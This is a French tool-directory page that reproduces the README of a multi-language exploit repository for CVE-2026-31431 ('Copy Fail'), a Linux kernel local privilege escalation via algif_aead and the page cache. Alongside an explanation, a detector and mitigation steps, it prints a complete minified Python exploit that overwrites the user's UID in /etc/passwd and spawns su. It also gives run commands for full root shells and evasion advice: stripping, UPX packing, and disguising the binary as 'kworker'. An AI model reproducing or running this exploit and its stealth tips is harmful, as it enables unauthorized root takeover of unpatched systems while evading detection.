Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CopyFail-Exploits-CVE-2026-31431 — Implémentations éducatives multi-langues d’exploits pour CVE-2026-31431, une élévation de privilèges locale du noyau Linux via le module algif_aead, avec un détecteur sûr et des conseils d’utilisation pour les CTF. | Kitploit
Outils/GitHubGitHub/shotafry/copyfail-exploits-cve-2026-31431
Escalade de PrivilègesFrameworks d'ExploitationExploitationCTFApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubshotafry/copyfail-exploits-cve-2026-31431

CopyFail-Exploits-CVE-2026-31431

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Implémentations éducatives multi-langues d’exploits pour CVE-2026-31431, une élévation de privilèges locale du noyau Linux via le module algif_aead, avec un détecteur sûr et des conseils d’utilisation pour les CTF.

Voir le dépôt
7il y a 3 moisPas encore vérifié

CVE-2026-31431 — Copy Fail

Repo éducatif avec des implémentations en plusieurs langages de l'exploit Copy Fail.
Créé et maintenu par @shotafry — parce que lire le CVE ne suffit pas. Il faut le reproduire.


📖 Read this in English


Sommaire

  • Qu'est-ce que Copy Fail ?
  • Qui l'a découvert ?
  • Gravité et CVSS
  • Comment ça fonctionne ?
  • Prérequis
  • Implémentations disponibles
  • Utilisation par langage
  • Vérification du système
  • Que se passe-t-il exactement à l'exécution ?
  • Utilisation dans les CTF et environnements de test
  • Obfuscation — variantes silencieuses
  • Atténuation et correctif
  • Structure du repo
  • Avis légal

Qu'est-ce que Copy Fail ?

Copy Fail est une vulnérabilité d'élévation de privilèges locale (LPE) dans le noyau Linux, cataloguée comme CVE-2026-31431. Elle affecte le sous-système cryptographique du noyau, plus précisément le module algif_aead qui gère les opérations de chiffrement authentifié (AEAD) via les sockets AF_ALG.

Le défaut a été introduit en 2017 dans une optimisation du module authencesn et est resté non détecté pendant près de 9 ans, présent dans pratiquement toutes les distributions Linux modernes.

Ce qui rend Copy Fail spécial par rapport aux autres LPE historiques :


Qui l'a découvert ?

La vulnérabilité a été découverte par Taeyang Lee de l'équipe de recherche de Theori. La chaîne d'exploitation complète a été développée par l'équipe Xint Code Research, qui a documenté le processus en utilisant une analyse assistée par IA sur le sous-système crypto/ du noyau Linux.

La divulgation publique inclut un PoC fonctionnel, une analyse technique complète et une documentation sur copy.fail.


Gravité et CVSS

root@kitploit:~
CVE:       CVE-2026-31431
CVSS:      7.8 — ÉLEVÉE
Vecteur:   Local
Impact:    Élévation de privilèges complète (root)
Distros:   Toutes les distributions Linux avec noyau >= 2017 non corrigé

Le CVSS est de 7.8 et n'atteint pas le niveau critique (9+) uniquement parce qu'il nécessite un accès local préalable — l'attaquant doit déjà avoir une session sur le système. Dans les environnements cloud et avec les conteneurs Docker, cette exigence est considérablement plus facile à satisfaire qu'il n'y paraît.


Comment ça fonctionne ?

Le page cache du noyau

Le noyau Linux conserve en RAM les fichiers qu'il a lus récemment. C'est ce qu'on appelle le page cache. Lorsqu'un processus lit /etc/passwd, le noyau ne va pas sur le disque — il sert la copie en RAM. C'est plus rapide, mais cela crée une surface d'attaque : si vous pouvez modifier cette copie en RAM sans toucher au disque, le système verra des données falsifiées.

Le bug dans algif_aead

Le module algif_aead permet d'effectuer des opérations AEAD depuis l'espace utilisateur via les sockets AF_ALG. Le bug se trouve dans l'optimisation introduite en 2017 : lorsque splice() est utilisé pour passer des pages d'un fichier au socket, ces pages du page cache se retrouvent dans la liste de dispersion destination (inscriptible) de l'opération cryptographique.

Résultat : n'importe quel utilisateur sans privilèges peut écrire 4 octets contrôlés dans n'importe quel fichier qu'il peut lire, sans toucher au disque.

Le flux d'exploitation

root@kitploit:~
Utilisateur sans privilèges
        │
        ▼
  Ouvre un socket AF_ALG (authencesn)
        │
        ▼
  sendmsg() — paramètres AEAD avec nos 4 octets dans seqno_lo
        │
        ▼
  splice() — fichier → pipe → socket op
  [BUG] Le page cache du fichier reste dans le scatterlist destination
        │
        ▼
  recv() déclenche l'opération AEAD
  L'auth échoue (EBADMSG) mais l'écriture scratch a déjà eu lieu
        │
        ▼
  /etc/passwd (page cache) indique maintenant : utilisateur → UID 0
        │
        ▼
  su <utilisateur> → PAM valide le vrai mot de passe → setuid(0) → ROOT

Analogie simple

Imaginez que le noyau possède un registre du château (/etc/passwd). Copy Fail, c'est comme découvrir que si vous ouvrez l'atelier de magie du château dans un ordre très précis, le registre se retrouve accidentellement sur votre table de travail — et vous pouvez changer votre rang de « simple soldat » à « roi » avec un stylo. L'archiviste (PAM) vérifie votre mot de passe mais ne vérifie pas le registre original, seulement la copie que vous avez devant vous. Vous êtes roi.

Que se passe-t-il exactement à l'exécution ?

passwd cambiando en tiempo real

Implémentations disponibles


Prérequis

Du système cible

  • Noyau Linux >= ~2017 sans le correctif de CVE-2026-31431
  • Module algif_aead disponible et chargeable
  • UID à 4 chiffres (1000–9999) — standard sur toutes les distros

Vérification rapide

On peut réellement sauter cette étape et tester directement l'un des exploits, mais c'est aussi valable si nous ne voulons pas prendre le risque de les téléverser ou de les créer et que nous voulons seulement voir si cela fonctionne, mais les exploits ont leur fonction pour vérifier si le système en question est vulnérable.

root@kitploit:~
# Voir la version du noyau
uname -a

# Vérifier si l'algorithme est disponible
grep -i authencesn /proc/crypto

# Vérifier si le module est chargé
lsmod | grep alg

Si grep -i authencesn /proc/crypto renvoie authencesn(hmac(sha256),cbc(aes)), le système est vulnérable.

Par langage


Implémentations disponibles

Ce dépôt contient l'exploit implémenté en 6 langages, tous fonctionnellement équivalents, avec des commentaires pédagogiques en espagnol.

root@kitploit:~
copy_fail_exploit.c      → C         — binaire statique, zéro dépendance
copy_fail_exploit.py     → Python    — plus lisible, idéal pour apprendre
copy_fail_exploit.rs     → Rust      — l'ironie : le langage « sûr » exploite le noyau
copy_fail_exploit.go     → Go        — binaire statique, très portable
copy_fail_exploit.rb     → Ruby      — omniprésent sur les serveurs Rails
copy_fail_exploit.pl     → Perl      — le plus silencieux, présent sur tout Linux
test_cve_2026_31431.py   → Détecteur — vérifie la vulnérabilité sans rien exploiter

Utilisation par langage

Détecteur (toujours en premier)

root@kitploit:~
python3 test_cve_2026_31431.py
  • Exit 0 → NON vulnérable
  • Exit 2 → VULNÉRABLE
  • Exit 1 → Erreur lors du test

C

root@kitploit:~
# Compiler
gcc copy_fail_exploit.c -o copy_fail_c

# Dry-run (nettoie à la sortie, ne laisse aucune trace)
./copy_fail_c

# Exploit complet
./copy_fail_c --shell

Python

root@kitploit:~
# Dry-run
python3 copy_fail_exploit.py

# Exploit complet
python3 copy_fail_exploit.py --shell

Rust

root@kitploit:~
# Compiler
rustc copy_fail_exploit.rs -o copy_fail_rs

# Dry-run
./copy_fail_rs

# Exploit complet
./copy_fail_rs --shell

Go

root@kitploit:~
# Compiler
go build -o copy_fail_go copy_fail_exploit.go

# Dry-run
./copy_fail_go

# Exploit complet
./copy_fail_go --shell

Ruby

root@kitploit:~
# Dry-run
ruby copy_fail_exploit.rb

# Exploit complet
ruby copy_fail_exploit.rb --shell

Perl

root@kitploit:~
# Dry-run
perl copy_fail_exploit.pl

# Exploit complet
perl copy_fail_exploit.pl --shell

Installation des langages (si vous ne les avez pas)

root@kitploit:~
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env

# Go
apt install golang-go

# Ruby (généralement préinstallé sur Kali)
apt install ruby

# Perl (pratiquement toujours présent)
perl --version

Vérification du système

Une fois l'exploit lancé (avant le su), vous pouvez vérifier visuellement le changement dans le page cache avec :

root@kitploit:~
# Terminal 1 : surveillance en temps réel
watch -n 0.5 'grep tonutilisateur /etc/passwd'

# Terminal 2 : lancer l'exploit
python3 copy_fail_exploit.py --shell

Vous verrez le champ UID passer de 1000 à 0000 en temps réel. Après le su :

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

Pour nettoyer sans redémarrer (depuis le shell root) :

root@kitploit:~
echo 3 > /proc/sys/vm/drop_caches

Que se passe-t-il exactement à l'exécution ?

root@kitploit:~
[*] CVE-2026-31431 LPE  utilisateur=shotafry  uid=1000
[*] /etc/passwd : utilisateur 'shotafry' — champ UID à l'offset 3118 = '1000'
[*] Application de write4 : '1000' -> '0000' dans le page cache...
[+] Le page cache affiche maintenant UID 0 à l'offset 3118
[+] /etc/passwd (page cache) liste maintenant shotafry comme UID 0
[+] Exécute : su shotafry
[+] Saisis ton mot de passe. su fera setuid(0) → shell root.

Le disque n'est jamais modifié. Un redémarrage ou drop_caches restaure tout à l'état d'origine.


Utilisation dans les CTF et environnements de test

Copy Fail est pertinent dans tout CTF ou laboratoire de privesc sous Linux où le noyau n'est pas corrigé.

Considérations pour les CTF

  • Vérifiez d'abord le noyau avec le script détecteur avant de tenter l'exploit
  • Le dry-run ne laisse aucune trace — utilisez-le pour confirmer la vulnérabilité sans casser le système
  • Le module algif_aead peut être désactivé dans les environnements durcis — si le détecteur échoue à l'étape AF_ALG, cherchez un autre vecteur
  • Les profils seccomp peuvent bloquer les syscalls nécessaires dans certains conteneurs — dans ce cas, l'exploit ne fonctionne pas même si le noyau est vulnérable

Flux recommandé pour un CTF

root@kitploit:~
# 1. Vérifier le noyau
uname -a

# 2. Détecteur
python3 test_cve_2026_31431.py

# 3. Si vulnérable, exploit
python3 copy_fail_exploit.py --shell

# 4. Nettoyer après
echo 3 > /proc/sys/vm/drop_caches

Obfuscation — variantes silencieuses

Les implémentations de ce repo sont commentées et verbeuses par conception pédagogique. Dans un contexte de pentest réel, vous voudrez des versions plus silencieuses.

Principes d'obfuscation

L'exploit dans son cœur repose sur 5 syscalls : socket, bind, setsockopt, sendmsg, splice. Tout le reste est cosmétique. Une version silencieuse supprime tout le output et réduit le code au minimum fonctionnel.

Exemple — Python minifié

root@kitploit:~
# Version compacte sans output — même fonctionnalité, surface de détection réduite
import os, socket, struct, pwd

def w4(p, o, b):
    f = os.open(p, 0); os.read(f, 4096)
    m = socket.socket(38, 5, 0)
    m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
    op, _ = m.accept()
    aad = b"\x00\x00\x00\x00" + b
    op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
    pr, pw = os.pipe()
    os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
    try: op.recv(64)
    except: pass
    [os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]

u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])

⚠️ Note : les antivirus et EDR détectent les schémas d'obfuscation (imports compressés, noms de fonction à un caractère, zlib+hex enchaîné). Un binaire C compilé statiquement reste l'option la plus silencieuse dans les environnements surveillés.

Techniques d'évasion supplémentaires

  • Binaire C avec strip : gcc exploit.c -o exploit && strip exploit — supprime les symboles de debug
  • UPX : upx --best exploit — compresse le binaire, change sa signature
  • Renommer le binaire : l'appeler kworker ou systemd-helper pour passer inaperçu dans ps

Atténuation et correctif

Solution définitive

root@kitploit:~
# Debian/Ubuntu/Kali
apt update && apt upgrade

# RHEL/CentOS/Fedora
dnf update

# Arch
pacman -Syu

Atténuation d'urgence (sans redémarrage)

Si vous ne pouvez pas corriger immédiatement, désactivez le module vulnérable :

root@kitploit:~
# Désactiver le module
rmmod algif_aead 2>/dev/null

# Empêcher son chargement à l'avenir
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf

Vérifier si vous êtes corrigé

root@kitploit:~
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.

Pour les environnements Docker

Le correctif doit être appliqué sur le noyau de l'hôte — les conteneurs partagent le noyau et ne sont pas isolés de cette vulnérabilité. Mettre à jour uniquement l'image du conteneur ne protège de rien.


Structure du repo

root@kitploit:~
CVE-2026-31431-Copy-Fail/
├── README.md                    ← Ce fichier (ES)
├── README_ENGLISH.md            ← Version en anglais
├── copy_fail_exploit.c          ← Exploit en C
├── copy_fail_exploit.py         ← Exploit en Python
├── copy_fail_exploit.rs         ← Exploit en Rust
├── copy_fail_exploit.go         ← Exploit en Go
├── copy_fail_exploit.rb         ← Exploit en Ruby
├── copy_fail_exploit.pl         ← Exploit en Perl
├── test_cve_2026_31431.py       ← Détecteur (sûr, ne modifie rien)
└── assets/
    ├── Infografia.png           ← Infographie de l'exploit
    ├── Exploit en C.png         ← Capture de l'exploit C en action
    └── passwd.png               ← Output du détecteur sur système vulnérable

[ shotafry note ]

Pendant que tout le monde publiait ce CVE avec un paragraphe généré par IA et un lien vers le repo officiel, j'ai passé la journée à l'étudier pour de vrai : lire le code du noyau, comprendre le page cache, reproduire l'exploit en laboratoire, puis le porter dans 6 langages différents pour comprendre exactement ce qui se passe à chaque couche.

La version en Rust est ma préférée. Tu utilises le langage le plus obsédé par la sécurité mémoire pour exploiter un défaut dans le noyau écrit en C. L'ironie se suffit à elle-même.

Ce repo existe parce que je crois que la différence entre un professionnel de la sécurité et quelqu'un qui se contente de partager des posts réside dans le fait de s'être réellement assis pour reproduire les choses.


Références

  • copy.fail — Site officiel de la vulnérabilité
  • NVD CVE-2026-31431
  • Commit original du noyau (2017) — module authencesn / algif_aead

Avis légal

Ce dépôt est exclusivement destiné à un usage éducatif, à la recherche en sécurité et aux tests sur des systèmes personnels ou avec une autorisation explicite par écrit.

L'utilisation de ces outils contre des systèmes sans autorisation est illégale dans la plupart des juridictions. L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce matériel.

Testez uniquement sur ce qui vous appartient ou ce que vous avez la permission d'auditer.


Fait avec curiosité, laboratoire, et trop de café, ou de la bière 0.0 précisément.
@shotafry @BrayLozano

Télécharger l’outil
CaractéristiqueCopy FailLPE typique
Nécessite une race condition❌ Non✅ Oui
Nécessite un offset spécifique du noyau❌ Non✅ Oui
Fonctionnel sur toutes les distros✅ Oui❌ Normalement non
Fiabilité100 % déterministeVariable
Modifie le disque❌ Non (RAM uniquement)Dépend
LangagePrérequis sur la cibleCompilation préalable
CAucun (binaire statique)gcc sur la machine de compilation
PythonPython 3.10+Non
RustAucun (binaire statique)rustc sur la machine de compilation
GoAucun (binaire statique)go sur la machine de compilation
RubyRuby + gem fiddle (inclus par défaut)Non
PerlPerl 5 (inclus dans pratiquement tout Linux)Non